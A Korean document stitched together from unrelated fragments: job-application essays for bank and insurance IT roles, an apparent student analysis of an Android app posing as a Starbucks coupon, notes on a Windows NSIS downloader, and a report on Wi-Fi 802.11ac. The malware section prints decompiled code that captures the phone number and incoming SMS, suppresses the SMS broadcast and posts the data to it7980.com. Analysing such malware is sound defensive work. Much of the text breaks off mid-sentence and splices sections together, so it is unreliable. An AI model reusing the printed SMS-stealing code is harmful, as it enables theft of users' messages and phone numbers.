K은행 서류합격 (19하반기)1. K은행에 지원하게 된 계기와 K은행이 귀하를 채용해야 하는 이유?[IDC근무 경험을 살린 차세대시스템 업무/기획]A사 A직직군, S그룹 IDC에서 A시스템 운영 경험을 살려 K은행의 안정적인 서비스를 유지하도록 IT 백그라운드를 지원하겠습니다. 근래 김포에 IDC를 설립하고 차세대시스템에 힘쏟고 있단 이야기를 들었습니다. 은행 A솔루션 운영자 경험을 살려 안정적인 인프라운영 및 가용성에 힘쓰겠습니다.첫 번째 제 강점은 은행에 A시스템을 들여오기 위해 BMT(경쟁사 제품을 회사환경에 맞춰 성능평가), PoC(신기술을 기능/성능 검진)에 참여한 이력입니다. FPMS(방화벽 정책 자동적용), EDR BMT, WIPS PoC등의 경험을 살려 K은행의 운영환경에 맞춰 인프라환경과 IT기획 업무를 볼 수 있습니다.또 금융그룹의 IT자회사에서 일하며 얻은 장점을 살리겠습니다. 인터넷 전산센터내에 각 담당자들이 모두 모여 있어 문제상황과 기술 트렌드에 선제적으로 대응하는 법을 배웠습니다. 또 어떤 그룹사에서 사용하는 시스템이 좋은 지, 많은 담당자들끼리 상황을 공유하고 IT 트렌드를 익혔습니다. 이러한 저의 직무 경험이 K은행의 차세대시스템 업무에 도움이 될 것이라 생각합니다.2. *타인의 불편함을 해소하거나 불만사항을 해결해 준 경험.[UTM 장비 테스트 엔지니어, 왜 갑자기 야간에 DDoS 장비 업무를 보게 되었을까?]NW QA팀에서 일할 때 제 직무는 UTM 장비의 버그를 테스트하는 업무였습니다. 팀에서 인턴은 총 7명이었고 그 중 5명이 UTM 장비를 다뤘습니다. 나머지 2명은 DDoS 장비를 다뤘는데 인턴 과정 중간에 인턴 한 명이 퇴직하여 남은 한 명의 부담감이 큰 상태였습니다. 동기는 제게 신규 펌웨어 출하 2주를 남겼을 때 납부기한 내에 기간을 맞추지 못할 것 같다며 우울해했습니다. 이에 저는 팀 동기들에게 도움을 요청하기 위해 발 뻗고 나섰습니다. 처음엔 반대하는 의견도 있었지만 DDoS 장비의 출고지연은 결국 우리 팀 전체니다. 우는 아이 떡 하나 더 준다는 말이 있습니다. 하청업체 엔지니어와 개발자들이 들어오는 인력은 한정 되어있습니다. 동시에 그 분들이 금융권 사이트를 동시다발적으로 들어가기 때문에, 일의 진척은 A직군의 역량에 따라 달려있어 손 놓고 있을 수 없었습니다. 야근이 일상화될 수록 점점 에러는 잡히고 문의 수는 줄어들고 있습니다.힘들지만 개발자, IT인력, 비 대면채널을 이용하는 고객에게 안정적 서비스를 제공하는 일에 보람을 느껴 일이 재밌습니다. 또 이번 일을 통해서 실무보다 관련 담당자들 설득이 더 어렵다는 것을 느꼈습니다. 업체 간의 공문, 내부 신청서에 대한 증적자료 요구처럼 동시에 고려해야하는 것들이 산더미 같았습니다. 해당 솔루션 책임자로 장비를 고도화 하면서 많은 에러가 나지만, 당장 이용하는 개발자와 IT인력들은 이러한 뒷 사정 모르고 있습니다. 최대한 제 업무에 일에 최선을 다하고 하루 빨리 개선시켜야 공수가 덜 들어서 업무가 편해질 것이라 예상합니다. 조금만 더 고생하면 향후 운영이 더 편해 고생한 보람을 얻을 수 있을 거라 힘을 내고있습니다. 후임이 들어오고 현재 담당하는 솔루션 담당자가 바뀌어도 부담을 넘기지 않아 자랑스럽게 생각합니다.5. *A직군에게 가장 중요한 역량은 무엇이며, 해당 역량을 향상시키기 위한 노력이나 준비했던 경험이 있다면 기술.[주인의식: A 가게 매출을 150% 상승시키다]A직군들에게 필요한 주인의식은 위기를 기회로, 적자를 흑자로 바꿀 수 있는 힘이라고 생각합니다. 저는 고등학교 2학년 채소를 팔며 여름방학 때 주인의식과 책임감을 배우고 가게를 살린 경험이 있습니다. 아버지가 허리디스크로 고생하셔서 운영하시던 채소 가게를 접어야 하는 상황이 왔습니다. 식구들의 생계를 이어 가기 위해 반 년간 채소 가게를 책임지기로 마음먹었습니다. 미성년자였지만 어릴 적부터 부모님의 일을 도왔기 때문에 가게 일과 인근 상인들의 생리에 익숙한 상태였습니다. 문제는 아버지가 배달하러 다니시던 거래처가 뚝 끊긴 일이었습니다.기존 거래처를 가 청렴 결백할 수 있는 강점도 있지만, A담당자로 일하면서 융통성 없는 성격이 야근을 더 늘리는 주범이 되기도 하였습니다. 전결 결재선 준수, 작은 부분에서도 프로세스이니 지켜 달라며 허용하지 않는 성격때문에 은행 개발자들과 마찰도 있었습니다. 하지만 제 생각엔 A담당자가 FM을 잘 지키고 솔선수범해야 합니다. 입사 초기엔 저라는 인물이 프로세스를 준수하고 원리원칙을 중시하는 모습을 잘 보여줘야, 다른 B담당자들과 개발자들도 일하면서 컴플라이언스를 잘 준수해줄 것이라고 생각했습니다. 이와 같은 모습은 금감원 감사를 대비하면서 빛을 발하기도 하였지만, 꼼꼼한 성격때문에 일이 많아지고 스스로를 귀찮게 하는 단점이라고도 생각합니다. 이런 단점을 보완하기 위해 업무 외적인 부분에선 오히려 남들의 말을 더 수긍하고 잘 따르고 있습니다.3. 관심직무에 지원하게 된 동기 및 준비과정을 기술하고, 본인만의 차별화된 강점을 활용하여 직무를 잘 수행할 수 있는 이유?[H보험의 마음을 기쁘게 할 ABC(이름)]학부에선 A직군(이)가 되기 위해 공부하고, A사에서 A업무, 외국A에서 A 논문발행, A사에서 S은행 A직군으로 일하면서 커리어 패스를 쌓았습니다. 이 모든 것을 통폐합하여 그림을 그릴 수 있는 H보험에서 금융IT사원으로 활약하고 싶습니다. 이러한 경험을 살려 H보험의 안정적인 서비스를 유지하도록 IT환경을 지원하고 안정적인 인프라운영 및 가용성에 힘쓰겠습니다.남들과 다른 첫 번째 제 강점은 A사에 A시스템을 들여오기 위해 BMT(경쟁사 제품을 회사환경에 맞춰 성능평가), PoC(신기술을 기능/성능 검진)에 참여한 이력입니다. A솔루션과 B솔루션 PoC, C솔루션, D솔루션 BMT, E솔루션 PoC등의 경험을 살려 H보험만의 운영환경에 맞춰 인프라환경과 IT기획 업무를 볼 수 있습니다.다음으로 금융그룹의 IT자회사에서 일하며 얻은 장점을 살리겠습니다. 인터넷 전산센터 내에 각 담당자들과 문제상황 및 기술 트렌드에 선제적으로 대응하는 법을 배웠습니다. 어떤 그룹사에서 사용와 도전정신을 가진 사람입니다. A사에서 아르바이트를 할 때 가게를 확장했음에도 불구하고 매출이 계속 감소하자 사장님은 가게를 접자고 하셨습니다. 이때 사장님께서 소개해주신 가게로 아르바이트를 옮겼다면 상황을 수월했을 것입니다. 하지만 저는 단순히 시급을 받는 사람이 아니라 변화를 통해 가게를 살리고자 노력하였습니다. 기존의 단골들을 찾아가 테이크아웃 창구가 가게 안쪽으로 들어가서 테이크 아웃 손님이 급감했단 원인을 파악하고 문제를 해결하였습니다. 다시 창구를 밖으로 빼는 시공을 하면서 매출을 상승시킬 수 있었고 매출은 가게 확장 전보다 더 높아진 결과를 낳았습니다. 어려운 상황 속에서 리더가 내리는 결단에 YES맨이 되었다면 사장님은 가게를 접었을 것입니다. 이 때의 경험으로 무슨 일이든 도전하지 않고 포기하는 일은 바보같은 일이라는 교훈을 얻었습니다.7. [커뮤니케이션] 본인이 속한 조직 내에서 의사결정을 하는 과정 중 조직 구성원들과 갈등이 발생하였을 때, 이를 해결하였던 경험과 그 경험을 통해 얻은 것은 무엇인지?[일은 혼자 하는 것이 아니다]최근 저는 꼰대 소리를 듣지 않을까 하는 걱정에 휩싸였습니다. 신입직원에게 싫은 소리를 하는 역할을 맡았기 때문입니다. 업무가 밀린 상태에서 집에 가는 신입직원에게 인수인계 도중 상대 일도 내 일 처럼 생각해야 한다는 주장을 관철하며 파트원들의 일을 분담하길 강하게 권유했기 때문입니다. 그동안 저는 "우리 문제가 아니어도 고객문제는 내 문제"라는 마인드로 지난 일년 삼 개월을 달려왔습니다. 3월 말에 과장님이 퇴사하면서 '커뮤니케이션이 굉장히 중요한 자리다' 라는 말을 듣고 각 담당자들과 협의를 잘 보라는 충고를 받았습니다.그래서 지난 1년 3개월간 누구보다 협의와 협력의 중요성을 배웠습니다. 불안정한 솔루션을 다루는 중이라 많은 사람들의 야간 작업 협력을 요청해야 하는 환경에서 일을 진행하기 떄문 입니다. 문제점을 해결하기 위해선 시스템의 변경작업을 하고 각 A담당자들의 가용성 확인이 필요합니다. 또 영업점고객들입원한 뒤로 끊겼던 거래처 사장님들께서 다시 거래를 이어가시고 또 주변 상인들에게 소문을 내주신 덕분에 신규 거래처에 채소를 납품할 수 있었습니다. 이후 기존에 가게의 월 매출 2천만 원에서 3천만 원이 상승하여 반년 후 아버지께 자신 있게 자리를 돌렸습니다.거래처를 부활시키기 위한 과정에서 책임감을 배웠습니다. 주인이 되어 가게를 돌보니 온 가족의 생계를 책임진다는 사명감을 발휘하면서 솔선수범하는 자세를 갖게 되었습니다. 이 일을 통해 저는 직원이 주인의식을 갖고 일을 할 때 매출 상승의 효과를 체험했습니다. 이 경험은 이후 대학생이 되어서도 솔선수범하는 자세를 갖는데 영향을 미쳤습니다.3. [고객/서비스] 최근에 접한 금융IT 트렌드 중 관심있는 주제 한 가지를 선택하고, 그에 관한 자신의 견해 서술.[빅데이터? 도대체 어디에 활용하는 기술일까?]IT에 조금이라도 관심있는 사람이라면 빅데이터, 인공지능, 머신러닝이란 단어를 들어 보았을 겁니다. 취업준비를 하며 해당 단어를 많이 들어보았지만, 현업과 거리가 먼 학부생에게는 이론적인 내용만 와 닿았습니다. 하지만 빅데이터는 실제 생활에서 사용자가 인지하지 못하는 새에 많이 활용됩니다.최근 B어플리케이션(이)가 S생명과 제휴하며 빅데이터가 금융권에 스며든 빅데이터에 대해 눈치챈 적이 있습니다. 미니암보험을 B어플리케이션 유저에게 공짜로 가입해주는 이벤트를 하였습니다. 20세~40세만 참여가능한 이벤트라 언니에게 소개해주었지만, 비IT 전공자인 가족A는 듣자 마자 "이건 사기네! 어떤 기업이 이득없이 공짜로 암보험을 가입시켜줘?"라는 반응이 나왔습니다. 3년간 약 2만원의 보험료를 제공해주는 댓가로, 사용자의 몸상태와 보험에 대한 빅데이터를 얻고, 새상품을 발매하기 전에 소정의 금액으로 꾸준한 시장데이터를 얻을 수 있습니다. 이는 기업과 고객 모두에게 WIN-WIN전략이라는 것을 간과했기 때문에 나온 반응인 것 같습니다.또 빅데이터는 단순히 보험사에서만 사용되는게 아니라 은행과 카드사에서도 많이 활용됩니다. 인공다.
우선 virus total에 악성코드가 맞는지 확인해보았다.Sb.apk파일을 7zip으로 풀었더니 sb디렉토리가 추출 되었다.들어가보면 AndroidMainfest xml문서 및 classes.dex등이 존재한다.우선 AndroidMainFest를 살펴보면 안드로이드 애플리케이션에 대한 상세한 정보들을 포함하고 있어서 단서를 파악할 때도 좋고 main 함수를 찾을 때도 유용하다.정상적인 경우에는 보통아래와 같이 xml언어로 프로그래밍 된 간략한 내용이 나온다.그러나 xml문서를 불러왔지만 글자가 깨져서 정보를 얻을 수 없었다. 인코딩에 문제가 있는 것 같다.dex2jar를 이용해서 apk파일을 디컴파일 한다. (apk 파일 안에 dex를 jar파일로 만들어주는 역할)생성된 jar파일을 7zip으로 풀어주었다. 디컴파일로 보면 소스를 볼 수 있다.Jd-gui로 classes_dex2jar파일을 불러 소스코드를 확인하였다.간단하게 짜여진 소스코드들이다.class이름을 직관적으로 정의해서 클래스 네임만 봐도 앱 실행과 함께 어떤 서비스가 진행될지 예상된다.장치 관리자권한을 요구하는 창을 띄울 것이다.또 이밖의 수상한 점은 데이터를 보내는 메소드도 정의된 부분이다. 아래에 자세히 풀면 다음과 같다.{try{String str1 = ((TelephonyManager)getSystemService("phone")).getLine1Number();int i = str1.length();if (str1.substring(0, 3).equals("+82")) {str1 = "0" + str1.substring(3, i);}HttpURLConnection localHttpURLConnection = (HttpURLConnection)new URL("http://it7980.com/Android_SMS/installing.php").openConnection();localHttpURLConnection.setDefaultUseCaches(false);localHttpURLConnBuffer localStringBuffer = new StringBuffer();localStringBuffer.append("mobile").append("=").append(str1);PrintWriter localPrintWriter = new PrintWriter(new OutputStreamWriter(localHttpURLConnection.getOutputStream(), "EUC-KR"));localPrintWriter.write(localStringBuffer.toString());localPrintWriter.flush();BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localHttpURLConnection.getInputStream(), "EUC-KR"));StringBuilder localStringBuilder = new StringBuilder();for (;;){String str2 = localBufferedReader.readLine();if (str2 == null) {return;}localStringBuilder.append(str2);}return;}catch (Exception localException) {}}String str1 = ((TelephonyManager)getSystemService("phone")).getLine1Number(); 코드를 이용해서 Hyperlink "http://it7980.com/Android_SMS/installing.php" http://it7980.com/Android_SMS/installing.php url로 감염시킨 핸드폰의 전화번호를 전송한다.nslookup으로 기록된 url인 it7980.com을 찾아봤으나 서버가 다운되어있는 것 같다.후이즈에도 나타나지 않았다.또 catchsms2.class부분에 CheckJoin 메소드를 살펴보면, 감염된 핸드폰에 온 SMS을 모니터링 하기 nection = (HttpURLConnection)new URL("http://it7980.com/Android_SMS/receiving.php").openConnection();localHttpURLConnection.setDefaultUseCaches(false);localHttpURLConnection.setDoInput(true);localHttpURLConnection.setDoOutput(true);localHttpURLConnection.setRequestMethod("POST");localHttpURLConnection.setRequestProperty("content-type", "application/x-www-form-urlencoded");StringBuffer localStringBuffer = new StringBuffer();localStringBuffer.append("mobile").append("=").append(this.myNumber).append("&");localStringBuffer.append("revsms").append("=").append(paramString);PrintWriter localPrintWriter = new PrintWriter(new OutputStreamWriter(localHttpURLConnection.getOutputStream(), "EUC-KR"));localPrintWriter.write(localStringBuffer.toString());localPrintWriter.flush();BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localHttpURLConnection.getInputStream(), "EUC-KR"));StringBuilder localStringBuilder = new StringBuilder();for (;;){String str = localBufferedReadxt, Intent paramIntent){Object[] arrayOfObject2;SmsMessage[] arrayOfSmsMessage1;int k;if (paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){this.myNumber = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();int i = this.myNumber.length();if (this.myNumber.substring(0, 3).equals("+82")) {this.myNumber = ("0" + this.myNumber.substring(3, i));}Bundle localBundle = paramIntent.getExtras();if (localBundle != null){Object[] arrayOfObject1 = (Object[])paramIntent.getExtras().get("pdus");this.arrayOfSmsMessage = new SmsMessage[arrayOfObject1.length];this.arrayOfSmsMessage[0] = SmsMessage.createFromPdu((byte[])arrayOfObject1[0]);this.arrayOfString = this.arrayOfSmsMessage[0].getOriginatingAddress().split(";");arrayOfObject2 = (Object[])localBundle.get("pdus");arrayOfSmsMessage1 = new SmsMessage[arrayOfObject2.length];k = 0;if (k < arrayOfObject2.length) {break label307;}if (!this.smstext.equals("실행")) {break label341;}SharedPreferences.Editor loals("실행")){abortBroadcast();int j = this.smstext.length();if ((this.smstext != null) && (j != 0)) {CheckJoin(paramContext, this.smstext);}}return;label307:arrayOfSmsMessage1[k] = SmsMessage.createFromPdu((byte[])arrayOfObject2[k]);this.smstext = arrayOfSmsMessage1[k].getMessageBody();k++;break;label341:if (this.smstext.equals("앞 뒤가 똑 같은 대리운전 1588-1588 꼭 불러주세요.”)){SharedPreferences.Editor localEditor1 = paramContext.getSharedPreferences("smssendingtest", 0).edit();localEditor1.putString("runYN", "ÁßÁö");localEditor1.commit();}else{this.smstext.equals("앞 뒤가 똑 같은 대리운전 1588-1588 꼭 불러주세요.");}}휴대폰에서 sb.apk는 스타벅스 쿠폰으로 보여지는데,실제로 아이콘을 누르면 아래의 main.class에서 노란색으로 형광팬 친 “사용자 급증으로 시스템 과부하시스템 과부하로 나중에 이용바랍니다” 라는 message가 팝업되는 코드이다. 이는 진짜로 시스템이 과부하되서 나타나는 메시지가 아니라 스타벅스 쿠폰 aplication이 악성코드가 포함된 가짜 어플리케이션이기 때문이다.특별한 점은 없었다. 위의 클래스는 파이널상수로 startbugs 기프티콘을 나타내는 클래스인 것 같다.Com.catchspam패키지의 클래스들을 보면이 가짜 어플리케이션의 유저 권한은 아래와 같았다. 악의적으로 사용될 가능성이 있는 권한(파란색)을 표시해보았다.android.permission.INTERNETandroid.permission.ES11
초기분석단계, 정적분석단계.1.VIRUS TOTALVirus total를 통해 이 악성코드 파일이 pup유형인 멀웨어임을 확인 할 수 있다.*PUP/Win32.Downloader(Potentially Unwanted Program)은 불필요 프로그램은 PUP라하고, "잠재적으로 원하지 않는 프로그램", "불필요한 프로그램" 이라고 한다. 명시적으로 사용자 동의를 받고 설치되었지만 사용자가 인지한 프로그램의 설치 목적과 관계가 없거나 불필요한 프로그램으로 시스템에 문제를 일으키거나 사용자 불편을 초래할 가능성을 갖고 있는 프로그램을 말한다.f-rort 패킹여부 부분을 확인 할 수 있다. 이 악성코드 파일이 NSIS라고 말한다.*NSIS(Nullsoft Scriptable Install System)는 스크립트 기반으로 동작하는 Hyperlink "https://ko.wikipedia.org/wiki/%EB%A7%88%EC%9D%B4%ED%81%AC%EB%A1%9C%EC%86%8C%ED%94%84%ED%8A%B8_%EC%9C%88%EB%8F%84" o "마이크로소프트 윈도" 윈도용 Hyperlink "https://ko.wikipedia.org/wiki/%EC%84%A4%EC%B9%98_%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8" o "설치 프로그램" 설치 시스템으로, 플러그인으로 C,C+등 다른 언어로 만든 코드와 확장 가능한 가벼운 설치 시스템이다. 보통 NSIS스크립트의 경우 기본적인 텍스트툴 메모장을 통해 읽고 편집이 가능하다.윈도우 실행파일인 악성코드에 대해 다음과 같은 기본적인 정보를 알 수 있다.2. EXEINFO PE를 통해 자세한 패킹 여부 확인악성코드파일을 exeinfo pe sw로 확인하면, 아래 하단에 이 파일에 대한 패킹여부가 나온다. 패킹되어 있는 악성코드는 뭘로 패킹되어있는지 정보가 뜬다. NSIS로 패킹 된 것 같다. 7zip을 이용해서 압축을 풀어보았다.압축을 푼 뒤 아래와 같은 디텍토리와 파일이 나타났다. 오프셋값을 가진다.000030CB값을 가지는데, PE로더는 이 값에 ImageBase값을 더해서 코드 시작 지점을 설정한다.*ImageBase: 프로세스의 가상메모리는 32비트 경우에 0~ffffffff라는 넓은 범위를 가진다. *imagebase는 이렇게 넓은 메모리에서 pe 파일이 로딩되는 시작주소를 나타낸다. exe,dll파일의 경우에 user Memory영역인 0~7fffffff범위에 로딩된다. sys파일의 경우 kernel memory영역인 80000000~ffffffff범위에 로딩된다. 일반적인 exe파일의 imageBase의 값은 00400000이고 dll파일의 경우 1000000이다. 이 파일의 경우는 exe이기 때문에 00400000인 것을 확인 할 수 있다.*setionAlignment, FileAlignment : pe파일의 body부분은 섹션으로 구분된다. 이 때 파일에서 섹션의 최소단위가 FileAlignment이고 메모리에서 섹션의 최소단위가 SectionAlignment이다. 하나의 파일에서 이 두 개는 같을 수도 있고 다를 수도 있다. 파일/메모리의 섹션 사이즈는 반드시 이 두 개의 배수여야 한다.*SizeOfImage:PE파일이 메모리에 로딩될 경우 가상 메모리에서 PE image가 차지하는 사이즈.이 파일은 0004A000이다.*SizeOfHeader : PE헤더의 전체 크기이다.*Subsystem: 1: dirver File로 시스템 드라이버인 ntfs나 sys, 2:GUI파일로 창 기반 에플리케이션 notepad.exe, 3:CUI파일로 콘솔 기반 에플리케이션 cmd.exe이다. 즉, 이 값을 통해 시스템 드라이버 파일(*.sys)인지 실행파일(*.exe, *.dll)인지 구분 가능하다. 이 악성코드 파일이 2 이니까 GUI기반의 exe파일임을 알 수 있다.*charteristics : 속성 init, uninit, read, write, execute, size등을 나타낸다. pe 파일을 text, rdata, data,org/wiki/%EC%B6%9C%EB%A0%A5_%EC%9E%A5%EC%B9%98" o "출력 장치" 출력 장치에 전달하는 기능을 제공한다. 16비트 윈도우의 경우 gdi.exe에, 사용자 모드에서의 32비트 윈도우의 경우 Hyperlink "https://ko.wikipedia.org/w/index.php?title=Gdi32.dll&action=edit&redlink=1" o "Gdi32.dll (없는 문서)" gdi32.dll에 상주한다.KERNEL32.dll –import dll로 부팅 시 로드되어 모든 프로그램에 사용되며, 커널이 어플리케이션에게 제공할 수 있는 서비스들이 함수 형태로 들어있다. 프로세스, 스레드, 메모리 관리를 한다.*SHELL32.dll - DLL파일이 메모리에 항상 올라오게 하고 윈도우가 종료될 때까지 타 프로그램의 간섭을 받지 않도록 한다.*USER32.dll - USER32.DLL은 윈도우 USER 구성 요소를 구현한다. 윈도우 구성 요소는 창이나 메뉴 같은 윈도우 사용자 인터페이스의 표준 요소들을 생성하고 다룬다. 그러므로 프로그램들에게 Hyperlink "https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%9E%98%ED%94%BD_%EC%82%AC%EC%9A%A9%EC%9E%90_%EC%9D%B8%ED%84%B0%ED%8E%98%EC%9D%B4%EC%8A%A4" o "그래픽 사용자 인터페이스" 그래픽 사용자 인터페이스(GUI)를 구현할 수 있게 해준다. 프로그램들은 창 생성이나 관리, 그리고 창 메시지 받기 등을 수행하기 위해 윈도우 USER에서 함수들을 호출한다.*VERSION.dll - 시스템 폴더 내에 위치하는 version.dll(Version Checking and File Installation Libraries) 파일은 어플리케이션(application)에 의한 윈도우 버전 체크을 위한 API를 포함한 시스템 파일이다. version.dll 파일은 다양한 프로세스에 삽입되는 방 rva2iat: 00007124WriteFile ord:932 rva2iat: 00007128ReadFile ord:693 rva2iat: 0000712CMulDiv ord:628 rva2iat: 00007130SetFilePointer ord:795 rva2iat: 00007134FindClose ord:206 rva2iat: 00007138FindNextFileA ord:220 rva2iat: 0000713CFindFirstFileA ord:210 rva2iat: 00007140DeleteFileA ord:131 rva2iat: 00007144GetTempPathA ord:469 rva2iat: 00007148USER32.dllEndDialog ord:198 rva2iat: 0000716CScreenToClient ord:561 rva2iat: 00007170GetWindowRect ord:372 rva2iat: 00007174EnableMenuItem ord:194 rva2iat: 00007178GetSystemMenu ord:348 rva2iat: 0000717CSetClassLongA ord:583 rva2iat: 00007180IsWindowEnabled ord:430 rva2iat: 00007184SetWindowPos ord:643 rva2iat: 00007188GetSysColor ord:346 rva2iat: 0000718CGetWindowLongA ord:366 rva2iat: 00007190SetCursor ord:589 rva2iat: 00007194LoadCursorA ord:442 rva2iat: 00007198CheckDlgButton ord:56 rva2iat: 0000719CGetMessagePos ord:316 rva2iat: 000071A0LoadBitmapA ord:440 rva2iat: 000071A4CallWindowProcA ord:27 rva2iat: 000071A8IsWindowVisible ord:433 rva63 rva2iat: 0000715CSHFileOperationA ord:154 rva2iat: 00007160SHGetSpecialFolderLocation ord:195 rva2iat: 00007164ADVAPI32.dllRegQueryValueExA ord:503 rva2iat: 00007000 //부팅되면 실행되도록 사용하는 레지스트리 API(하늘색)RegSetValueExA ord:516 rva2iat: 00007004RegEnumKeyA ord:477 rva2iat: 00007008RegEnumValueA ord:481 rva2iat: 0000700CRegOpenKeyExA ord:492 rva2iat: 00007010RegDeleteKeyA ord:468 rva2iat: 00007014RegDeleteValueA ord:472 rva2iat: 00007018RegCloseKey ord:459 rva2iat: 0000701CRegCreateKeyExA ord:465 rva2iat: 00007020COMCTL32.dllImageList_AddMasked ord:52 rva2iat: 00007028ImageList_Destroy ord:56 rva2iat: 0000702Cord:17 rva2iat: 00007030ImageList_Create ord:55 rva2iat: 00007034ole32.dllCoTaskMemFree ord:101 rva2iat: 00007278OleInitialize ord:238 rva2iat: 0000727COleUninitialize ord:261 rva2iat: 00007280CoCreateInstance ord:16 rva2iat: 00007284VERSION.dllGetFileVersionInfoSizeA ord:1 rva2iat: 00007268GetFileVersionInfoA ord:0 rva2iat: 0000726CVerQueryValueA ord:10 rva2iat: 000072706.BINTEXT를 통해 ES34
CONTENTS개요IEEE 802.11 표준화 규격 및 현황WIFI MODEWIFI 요구사항Iphone6s와 갤럭시s7에 채택된 와이파이 표준안 802.11ac802.11ac 특징개요예전에는 기기마다 무선 랜의 표준안이 서로 달라 호환성이 떨어졌다. 그래서 IEEE에서 일반적으론 허가되지 않은 스펙트럼을 사용하는 표준 무선랜의 첫 번째 규격 ‘IEEE 802.11’을 제정하였다. 무선 랜은 기본적으로 근거리 네트워크 방식인 유선 랜을 착안해 무선화한 것이라 사용 거리에 제한이 있다. IEEE 802.11은 광대역 네트워크 액세스 , 공공 장소 접속, 센서 네트워크 , 메쉬 네트워크, 자동차 등에서 사용된다. 초기에는 단순히 PC에 국한된 기술이었지만 현재는 노트북, 휴대 전화, 태블릿 PC , 가전 제품 , 의료 기기 등 많은 IOT에 쓰인다.IEEE 802.11 표준화 규격 및 현황WIFI MODEInfrastructure mode인프라스트럭처 모드는 기기의 종류, 혹은 사용 모드에 따라 무선 신호를 전달하는 AP(access point)가 주변의 일정한 반경 내에 있는 복수의 단말기(PC 등)들과 데이터를 주고받는다. 우리가 일상생활에서 보통 사용하는 일반적인 와이파이 형태가 인프라스트럭처 모드이다. 유선 랜 케이블에 무선 공유기를 설치한 후 주위의 노트북, 스마트폰, 태블릿PC 등 무선기기에서 모두 인터넷을 사용할 수 있다. 그러나 아무래도 유선 랜에 착안한 기술이기 때문에 거리의 제약이 분명 존재한다. AP 및 단말기의 성능에 따라 차이가 있긴 하지만 대체로 가정용 제품의 경우 20 ~ 30미터 이내, 기업용 제품의 경우 100 ~ 200미터 정도가 일반적이라고 할 수 있다. AP에서 멀어질수록 통신 속도가 점차 저하되며, 범위를 완전히 벗어나면 접속이 끊어질 수 밖에 없다. 하지만 3G나 LTE와 같은 모바일 이동통신이나 위성 통신 등에 비해 와이파이는 AP의 설치가 수월하고 설치에 드는 비용도 저렴한 편이다. 게다가 데이터 전송 속도가 빠른 장점도 ode그리고 AP 없이 단말기끼리 P2P형태로 데이터를 주고 받는 애드혹 모드가 있다. 반면, 애드혹 모드는 단말기끼리 직접 접속하는 형태로, 휴대폰끼리 데이터를 주고받는 등의 용도로 쓴다. 애드혹 모드는 인프라스트럭처 모드에 비해 사용빈도 및 지원하는 기기의 종류가 적은 편이었다. 하지만 블루투스를 비롯한 근거리 무선통신이 각광받기 시작하면서 와이파이 진영 역시 이에 대응할 필요성을 느끼게 되었다. 이에 따라 와이파이 얼라이언스는 편의성 및 안정성을 향상시킨 와이파이 애드혹 표준인 ‘와이파이 다이렉트(Wi-Fi Direct)’를 2009년에 발표하고 이듬해에 규격을 확정했다. 이후, 와이파이 다이렉트를 지원하는 노트북이나 스마트폰 외에 헤드폰, 프린터 등도 다수 출시되었다.4.WIFI 요구사항5. Iphone6s와 갤럭시s7에 채택 된 와이파이 표준안 802.11ac아이폰3gs는 3G 네트워크를 썼지만 최신기종인 아이폰6와 아이폰6 플러스는 LTE, VoLTE, 802.11ac 규격의 차세대 무선 네트워크 표준을 지원한다. (VoLTE는 LG유플러스가 쓰는 이동통신 네트워크 규격) 802.11ac는 차세대 무선네트워크 규격으로 2.4GHz와 5GHz 주파수를 지원하는 듀얼 네트워크 방식으로 동작하고, 5GHz 주파수 대역에서는 고 대역폭인 80~160MHz 신호를 지원한다. 802.11ac 규격은 기본적으로 최대 433Mbps의 속도를 내며, 8x8 안테나 기반 MIMO 기술을 적용하면 이론적으로 최대 6.93Gbps의 속도를 낼 수 있다. 기가 급의 속도를 지원하는 5세대의 와이파이라 하여 ‘기가 와이파이’, 혹은 ‘5G 와이파이’라고 부르기도 한다.즉, 802.11ac의 가장 큰 특징은 역시 빨라진 전송속도다. 기존 802.11n 규격과 비교해 최대 3배 이상 빠르다. Gbps급 전송 속도에 초점이 맞춰져 있기 때문에 이 기술을 사용할 경우 풀HD 동영상을 실시간으로 전송해 재생할 수 있다. 또한, 802.11n과 비교해 최대 6배 이상 전력 효율이 높다주로 802.11ac에 대한 더 넓은 채널 대역폭 요건 때문이다. 대역폭이 증가하면 채널 배열이 까다롭고 특히 충만히 분할 2.4GHz 대역에서 어렵다. 상대적으로 넓은 5GHz 대역이라도 제조업체는 가용 자원을 널리 사용하고 스펙트럼을 보존하기 위해 자동 라디오 튜닝 기능을 채택해야 한다.2) 넓은 채널 대역폭802.11ac는 802.11n에 비해 향상된 필수 및 선택 대역폭을 모두 포함한다. 802.11ac 초안 규격에는 오늘날 대부분의 802.11n 기기에서 지원되는 20MHz와 40MHz 채널 대역폭뿐만 아니라 필수적인 연속 80MHz 채널 대역폭이 들어간다. 더 넓은 대역폭의 주요 이점은 칩 셋 제조업체의 비용 증가가 거의 없이 효과적으로 PHY 비율을 802.11n에 비해 두 배로 늘린다는 점이다. 80MHz 연속 대역폭 모드에서는 데이터 전송률/처리량이 더 높을 뿐만 아니라 시스템 효율이 높아지고 데이터 전송이 더 빨라지므로 현재 802.11n에서는 지원되지 않는 새 응용 분야가 가능하다. 또한 802.11ac 규격에는 옵션으로 160MHz 채널 대역폭이 포함되며 이 대역폭은 연속 또는 불연속(80+80MHz) 모두 가능하다. 불연속인 경우 주파수 스펙트럼이 다음과 같이 두 가지 부분으로 구성된다. 각 부분이 비인접 주파수의 802.11ac 80MHz 채널 2개를 사용해 전송된다. 40/80MHz 전송과 비교해 160MHz PHY 전송은 요구 조건 복잡성(예: MIMO 순서, MCS 등)이 적어 기기에서 Gbps 무선 처리량을 실현하고 더 많은 응용 분야가 가능하다는 장점이 있다. 하지만 5GHz 대역의 160MHz 대역폭은 전세계적으로 이용할 수 있는 것이 아니고 이 기능을 지원하려면 비용이 증가할 것이기 때문에 802.11ac 기기에서 이 기능을 옵션으로 두도록 결정되었다.3) 하위 호환성802.11ac는 5GHz 대역에서 작동하는 802.11a와 802.11n 기기에 대해 하위 호환성을 제공한다. 이 특성은 다음을 의미한다. • 802.11a은 다른 혁신 기술(예: 802.11ad)에 비해 확실히 유리하여 802.11n보다 데이터 전송률을 향상시키지만, 기존 WLAN 기기와는 호환되지 않는다. 하위 호환성으로 시장 선정이 용이해지고 802.11ac 기기가 기존 WLAN 네트워크에 원활하게 “접목”할 수 있다.4) 공존성802.11ac TG의 중요한 작업 요소는 5GHz 